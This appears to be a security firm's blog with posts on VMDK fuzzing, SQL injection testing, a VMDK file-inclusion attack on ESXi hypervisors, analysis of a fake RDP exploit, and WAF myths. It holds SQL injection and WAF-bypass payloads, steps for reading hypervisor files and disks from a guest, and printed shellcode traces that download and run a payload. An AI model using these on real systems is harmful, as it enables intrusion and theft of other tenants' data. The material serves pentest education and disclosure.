Breaking

Fuzzing VMDK files

As announced at last week’s #HITB2012AMS, I’ll describe the fuzzing steps which were performed during our initial research. The very first step was the definition of the interfaces we wanted to test. We decided to go with the plain text VMDK file, as this is the main virtual disk description file and in most deployment scenarios user controlled, and the data part of a special kind of VMDK files, the Host Sparse Extends.

The used fuzzing toolkit is dizzy which just got an update last week (which brings you guys closer to trunk state 😉 ).

The main VMDK file goes straight forward, fuzzing wise. Here is a short sample file:

# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=fffffffe
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 40960 VMFS "ts_2vmdk-flat.vmdk"
# The Disk Data Base
#DDB
ddb.virtualHWVersion = "8"
ddb.longContentID = "c818e173248456a9f5d83051fffffffe"
ddb.uuid = "60 00 C2 94 23 7b c1 41-51 76 b2 79 23 b5 3c 93"
ddb.geometry.cylinders = "20"
ddb.geometry.heads = "64"
ddb.geometry.sectors = "32"
ddb.adapterType = "buslogic"

 

As one can easily see the file is plain text and is based upon a name=value syntax. So a fuzzing script for this file would look something link this:

name = "vmdkfile"
objects = [
    field("descr_comment", None, "# Disk DescriptorFile\n", none),

    field("version_str", None, "version=", none),
    field("version", None, "1", std),
    field("version_br", None, "\n", none),

    field("encoding_str", None, "encoding=", none),
    field("encoding", None, '"UTF-8"', std),
    field("encoding_br", None, "\n", none),
    [...]
    ]
functions = []

 

The first field, descr_comment, and the second field, version_str,  are plain static, as defined by the last parameter, so they wont get mutated. The first actual fuzzed string is the version field, which got a default value of the string 1 and will be mutated with all strings in your fuzz library.

As the attentive reader might have noticed, this is just the first attempt, as there is one but special inconsistency in the example file above: The quoting. Some values are Quoted, some are not. A good fuzzing script would try to play with exactly this inconsistency. Is it possible to set version to a string? Could one set the encoding to an integer value?

The second file we tried to fuzz was the Host Sparse Extend, a data file which is not plain data as the Flat Extends, but got a binary file header. This header is parsed by the ESX host and, as included in the data file, might be user defined. The definition from VMware is the following:

typedef struct COWDisk_Header {
    uint32 magicNumber;
    uint32 version;
    uint32 flags;
    uint32 numSectors;
    uint32 grainSize;
    uint32 gdOffset;
    uint32 numGDEntries;
    uint32 freeSector;
    union {
        struct {
            uint32 cylinders;
            uint32 heads;
            uint32 sectors;
        } root;
        struct {
            char parentFileName[COWDISK_MAX_PARENT_FILELEN];
            uint32 parentGeneration;
        } child;
    } u;
    uint32 generation;
    char name[COWDISK_MAX_NAME_LEN];
    char description[COWDISK_MAX_DESC_LEN];
    uint32 savedGeneration;
    char reserved[8];
    uint32 uncleanShutdown;
    char padding[396];
} COWDisk_Header;

 

Interesting header fields are all C strings (think about NULL termination) and of course the gdOffset in combination with numSectors and grainSize, as manipulating this values could lead the ESX host to access data outside of the user deployed data file.

So far so good, after writing the fuzzing scripts one needs to create a lot of VMDK files. This was done using dizzy:

./dizzy.py -o file -d /tmp/vmdkfuzzing.vmdk -w 0 vmdkfile.dizz

 

Last but not least we needed to automate the deployment of the generated VMDK files. This was done with a simple shell script on the ESX host, using vim-cmd, a command line tool to administrate virtual machines.

By now the main fuzzing is still running in our lab, so no big results on that front, yet. Feel free to use the provided fuzzing scripts in your own lab. Find the two fuzzing scripts here and here. We will share more results, when the fuzzing is finished.

Have a nice day and start fuzzing 😉

Daniel and Pascal

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 2

Take Care of the Database

There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload

' or 1=1 --

to

' or 1 --

One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL “waitfor delay” in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:

benchmark(3000000,MD5(1))

For later versions:

sleep(5)

Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL: utl_http.request('http://192.168.66.77/'). Alternatively, the following function may be useful:

DBMS_LOCK.SLEEP(5)

Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.

Another important difference is the missing MS-SQL “xp_cmdshell” on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.

How to Exploit SQL Injection

After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is UNION SELECT. However, the UNION SELECT approach doesn’t work in all situations. If,for example, injecting right after the select statement (e.g. “SELECT $INPUT_COLUMN_NAME FROM tablename;” ) and not after a WHERE clause, trying to extract data with UNION SELECT  leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying

(SELECT user FROM DUAL)

the SQL query doesn’t get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:

'|| (SELECT user FROM DUAL) ||'

The previous examples depend on any form of results from the application. In case the application doesn’t print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:

SELECT username FROM users WHERE username = '$NEW_USERNAME';

This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:

'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'

Or in pseudo code:

If abcd equals abcd
return new_username
else
return EXISTING_USERNAME

Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.

How to get around Web Application Firewalls

In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting

' or 'a'='a

we already circumvented a WAF by supplying a slightly modified version of this payload:

' or 'a='='a=

If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:

' or 1 --

It is also very likely, that one single quote doesn’t cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:

abc'def

In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.

If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f which supports many different vendors. Another tool is tsakwaf, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.

… to be continued …

Have a great day and enjoy trying 🙂
Michael, Timo and Frank from the Appsec Team

Continue reading
Breaking, Events

VMDK Has Left the Building – Slides available

A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last two days. Great conference!

Here you go: HITB2012AMS ERNW VMDK Has Left the Building [PDF, 6MB, link fixed]

Enjoy and feel free to express your thoughts in the comments.

Best greetings from Amsterdam,
Florian & the crew

Continue reading
Breaking

VMDK Has Left the Building — Some Nasty Attacks Against VMware vSphere 5 Based Cloud Infrastructures

Update #1: Slides are available for download here.

In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s 😉 ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:

  • Management interfaces
  • Guest/hypervisor interaction
  • Network communication
  • File uploads

As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-)), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.

As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:

  • VMX
  • VMDK

The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 33554432 VMFS "machine-flat02.vmdk"
[...]

For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:

  1. Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
  2. Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
  3. Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.

To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including

  • an ESXi5 hypervisor,
  • NFS-based storage, and
  • vCenter,

everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:

  • Fuzzing attacks: Given ERNW’s long tradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
  • File Inclusion Attacks.

Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.

The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFSRAW "/etc/passwd"

Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:

As we are highly convinced that a healthy dose of perseverance (not to say stubbornness 😉 ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:

The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:

Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:

  1. Ensure that the following requirements are met:
    • ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
    • Deployment of externally provided (in our case, speak: malicious 😉 ) VMDK files is possible
    • The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
  2. Deploy a virtual machine referencing /scratch/log/hostd.0.gz
  3. Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names 😉
  4. Deploy another virtual machine referencing the extracted device names
  5. Enjoy access to all physical hard drives of the hypervisor 😉

It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.

Summarizing the most relevant and devastating message in short:

VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…

We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.

Have a great day,

Pascal, Enno, Matthias, Daniel

Continue reading
Breaking

Releasing dizzy version 0.6

Hi @all,
today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features!

see the CHANGELOG:
v0.6:
– ssl support
– server side fuzzing mode
– command output
– new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum
– recursive mutation mode
– new dizz objects: fill
– new interaction objects: null_dizz
– reconnect option
– additional fuzzing values

find the sources here (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)

cheers

/daniel

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 1

Introduction

SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.

Continue reading “SQL Injection Testing for Business Purposes Part 1”

Continue reading
Events

Slides from Troopers Telco Sec Day Online

As I mentioned the Telco Sec Day in the last post… for those who missed Flo’s announcement: in the interim all slides of the Telco Sec Day are available online here.

Obviously, given I initiated the event, I’m biased 😉 but to me it provided great insight from both the talks and the networking with other guys from the telco security field, and it did actually what it was meant for: fostering the exchange between different players in that space, for the sake of sustainably improving its’ overall security posture.

A number of participants suggested performing it again which we hence plan to do, at next year’s Troopers (probably happening in the week 03/12-03/16 [calendar week 11]).

See you there, all the best

Enno

 

Continue reading
Building

IPv6 Privacy Extensions

Last week Christopher Werny and I gave a talk on IPv6 Privacy Extensions at the Heise IPv6 Kongress. As our slides were not included in the event’s material here’s the presentation’s slide deck.

As in 2011 we really liked the conference; there was a number of interesting talks and we met quite some fellows from the IPv6 security space. Btw: we plan to organize a dedicated IPv6 security summit in late 2012 (probably on 6th and 7th of November) in Heidelberg, similar to the Telco Sec Day at Troopers. We’ll annouce details as for this one in some weeks.

Stay tuned & have a great week everybody

Enno

Continue reading
Breaking

Untrusted code or why exploit code should only be executed by professionals

In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.

First we take a look into the Microsoft advisory to get some information about the vulnerability itself:

The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:

OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:

The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:

We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).

We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …

…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.

First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more 😉 ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.

Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:

trigger:

and shellcode:

Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:

Step 3
Mark all this hex data and copy it to the clipboard.

Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.

Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.

Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc

Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):

Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.

This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:

def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__
self.shellcode = shellcode

and then executed using this code:

seeker = (struct.pack(">I", 0x6576616c)
...
read = self.table[seeker[0]]
return str(read(shellcode)), parsed

But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.

Let us see how SCDBG works with a short example shellcode:
scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)

Stepcount 293883

So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now:
scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported

Stepcount 2

SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.

Lessons learned

So finally, let’s summarize some lessons that every serious penetration tester should be aware of:

1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.

So happy practicing and enjoy your week 😉

Michael

Continue reading
Misc

The 5 Myths of Web Application Firewalls

Some days ago a security advisory related to web application firewalls (WAFs) was published on Full Disclosure. Wendel Guglielmetti Henrique found another bug in the IBM Web Application Firewall which can be used to circumvent the WAF and execute typical web application attacks like SQL injection (click here for details). Wendel talked already (look here) at the Troopers Conference in 2009 about the different techniques to identify and bypass WAFs, so this kind of bypass methods are not quite new.

Nevertheless doing a lot of web application assessments and talking about countermeasures to protect web applications there’s a TOP 1 question I have to answer almost every time: “Wouldn’t it be helpful to install a WAF in front of our web application to protect them from attacks?”. My typical answer is “NO” because it’s better to spent the resources for addressing the problems in the code itself. So I will take this opportunity to write some rants about sense and nonsense of WAFs ;-). Let’s start with some – from our humble position – widespread myths:

1. WAFs will protect a web application from all web attacks .
2. WAFs are transparent and can’t be detected .
3. After installation of a WAF our web application is secure, no further “To Dos” .
4. WAFs are smart, so they can be used with any web application, no matter how complex it is .
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface.

And now let us dig a little bit deeper into these myths ;-).

1. WAFs will protect a web application from all web attacks

There are different attack detection models used by common WAFs like signature based detection, behavior based detection or a whitelist approach. These detection models are also known by attackers, so it’s not too hard to construct an attack that will pass the detection engines.

Just a simple example for signatures ;-): Studying sql injection attacks we can learn from all the examples that we can manipulate “WHERE clauses” with attacks like “or 1=1”. This is a typical signature for the detection engine of WAFs, but what about using “or 9=9” or even smarter 😉 “or 14<15”? This might sound ridiculous for most of you, but this already worked at least against one  WAF 😉 and there are much more leet attacks to circumvent WAFs (sorry that we don’t disclose any vendor names, but this post is about WAFs in general).
Another point to mention are the different types of attacks against web applications, it’s not all about SQL injection and Cross-Site Scripting attacks, there also logic flaws that can be attacked or the typical privilege escalation problem “can user A access data of user B?”. A WAF can’t protect against these attacks, it a WAF can raise the bar for attackers under some circumstances, but it can’t protect a web application from skilled attackers.

2. WAFs are transparent and can’t be detected

In 2009, initially at Troopers ;-), Wendel and Sandro Gauci published a tool called wafw00f and described their approach to fingerprint WAFs in different talks at security conferences. This already proves that this myth is not true. Furthermore there will be another tool release from ERNW soon, so stay tuned, it will be available for download shortly ;-).

3. After installation of a WAF my web application is secure, no further “To Dos”

WAFs require a lot of operational effort just because web applications offer more and more functionality and the main purpose of a web application is to support the organization’s business. WAF administrators have to ensure that the WAF doesn’t block any legitimate traffic. It’s almost the same as with Intrusion Detection and Prevention Systems, they require a lot of fine tuning to detect important attacks and ensure functionality in parallel. History proves that this didn’t (and still doesn’t) work for most IDS/IPS implementations, why should it work for WAFs ;-)?

4. WAFs are smart, so they can be used with any web application, no matter how complex it is
Today’s web applications are often quite complex, they use DOM based communication, web services with encryption and very often they create a lot of dynamic content. A WAF can’t use a whitelist approach or the behavior based detection model with these complex web applications because the content changes dynamically. This reduces the options to the signature based detection model which is not as effective as many people believe (see myth No. 1).

5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface
This is one of the most common sales arguments, because it contains a lot of reasonable arguments, but what these sales guys don’t tell is the fact, that a WAF won’t solve your problem either ;-).
Talking about risk analysis the ERNW way we have 3 contributing factors: probability, vulnerability and impact. A WAF won’t have any influance on the impact, because if the vulnerability gets exploited there’s still the same impact. Looking at probabilities with the risk analysis view, you have to take care that you don’t consider existing controls (like WAFs 😉 ) because we’re talking about the probability that someone tries to attack your web application and I think that’s pretty clear that the installation of a WAF won’t change that ;-). So there’s only the vulnerability factor left that you can change with the implementation of controls.
But me let me ask one question using the picture of the Fukushima incident: What is the better solution to protect nuclear plants from tsunamis? 1. Building a high wall around it to protect it from the water? 2. Build the nuclear plant at a place where tsunamis can’t occur?

I think the answer is obvious and it’s the same with web application vulnerabilities, if you fix them there’s no need for a WAF. If you start using a Security Development Lifecycle (SDL) you can reach this goal with reasonable effort ;-), so it’s not a matter of costs.

Clarifying these myths of web application firewalls, I think the conclusions are clear. Spend your resources for fixing the vulnerabilities in your web applications instead of buying another appliance that needs operational effort, only slightly reducing the vulnerability instead of eliminating it and also costing more money. We have quite a lot of experience supporting our customers with a SDL and from this experience we can say, that it works effectively and can be implemented more easily than many people think.

You are still not convinced ;-)? In short we will publish an ERNW Newsletter (our newsletter archive can be found here) describing techniques to detect und circumvent WAFs and also a new tool called TSAKWAF (The Swiss Army Knife for Web Application Firewalls) which implements these techniques for practical use. Maybe this will change your mind ;-).

have a nice day,

Michael

Continue reading